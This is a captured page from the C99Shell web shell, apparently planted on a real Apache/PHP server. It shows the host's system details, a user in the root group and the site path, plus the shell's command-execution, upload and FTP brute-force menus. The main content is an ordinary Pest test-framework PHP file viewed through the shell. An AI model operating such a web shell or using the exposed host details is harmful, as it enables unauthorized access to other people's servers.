!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Support/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StateGenerator.php (6.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Support;

use 
NunoMaduro\Collision\Adapters\Phpunit\State;
use 
NunoMaduro\Collision\Adapters\Phpunit\TestResult;
use 
NunoMaduro\Collision\Exceptions\TestOutcome;
use 
PHPUnit\Event\Code\TestDoxBuilder;
use 
PHPUnit\Event\Code\TestMethod;
use 
PHPUnit\Event\Code\ThrowableBuilder;
use 
PHPUnit\Event\Test\Errored;
use 
PHPUnit\Event\TestData\TestDataCollection;
use 
PHPUnit\Framework\SkippedWithMessageException;
use 
PHPUnit\Metadata\MetadataCollection;
use 
PHPUnit\TestRunner\TestResult\TestResult as PHPUnitTestResult;

final class 
StateGenerator
{
    public function 
fromPhpUnitTestResult(int $passedTestsPHPUnitTestResult $testResult): State
    
{
        
$state = new State;

        foreach (
$testResult->testErroredEvents() as $testResultEvent) {
            if (
$testResultEvent instanceof Errored) {
                
$state->add(TestResult::fromPestParallelTestCase(
                    
$testResultEvent->test(),
                    
TestResult::FAIL,
                    
$testResultEvent->throwable()
                ));
            } else {
                
$state->add(TestResult::fromBeforeFirstTestMethodErrored($testResultEvent));
            }
        }

        foreach (
$testResult->testFailedEvents() as $testResultEvent) {
            
$state->add(TestResult::fromPestParallelTestCase(
                
$testResultEvent->test(),
                
TestResult::FAIL,
                
$testResultEvent->throwable()
            ));
        }

        foreach (
$testResult->testMarkedIncompleteEvents() as $testResultEvent) {
            
$state->add(TestResult::fromPestParallelTestCase(
                
$testResultEvent->test(),
                
TestResult::INCOMPLETE,
                
$testResultEvent->throwable()
            ));
        }

        foreach (
$testResult->testConsideredRiskyEvents() as $riskyEvents) {
            foreach (
$riskyEvents as $riskyEvent) {
                
$state->add(TestResult::fromPestParallelTestCase(
                    
$riskyEvent->test(),
                    
TestResult::RISKY,
                    
ThrowableBuilder::from(new TestOutcome($riskyEvent->message()))
                ));
            }
        }

        foreach (
$testResult->testSkippedEvents() as $testResultEvent) {
            if (
$testResultEvent->message() === '__TODO__') {
                
$state->add(TestResult::fromPestParallelTestCase($testResultEvent->test(), TestResult::TODO));

                continue;
            }

            
$state->add(TestResult::fromPestParallelTestCase(
                
$testResultEvent->test(),
                
TestResult::SKIPPED,
                
ThrowableBuilder::from(new SkippedWithMessageException($testResultEvent->message()))
            ));
        }

        foreach (
$testResult->deprecations() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::DEPRECATED,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        foreach (
$testResult->phpDeprecations() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::DEPRECATED,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        foreach (
$testResult->notices() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::NOTICE,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        foreach (
$testResult->phpNotices() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::NOTICE,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        foreach (
$testResult->warnings() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::WARN,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        foreach (
$testResult->phpWarnings() as $testResultEvent) {
            foreach (
$testResultEvent->triggeringTests() as $triggeringTest) {
                [
'test' => $test] = $triggeringTest;

                
$state->add(TestResult::fromPestParallelTestCase(
                    
$test,
                    
TestResult::WARN,
                    
ThrowableBuilder::from(new TestOutcome($testResultEvent->description()))
                ));
            }
        }

        
// for each test that passed, we need to add it to the state
        
for ($i 0$i $passedTests$i++) {
            
$state->add(TestResult::fromPestParallelTestCase(
                new 
TestMethod(
                    
"$i"// @phpstan-ignore-line
                    
''// @phpstan-ignore-line
                    
''// @phpstan-ignore-line
                    
1,
                    
TestDoxBuilder::fromClassNameAndMethodName(''''), // @phpstan-ignore-line
                    
MetadataCollection::fromArray([]),
                    
TestDataCollection::fromArray([])
                ),
                
TestResult::PASS
            
));
        }

        return 
$state;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--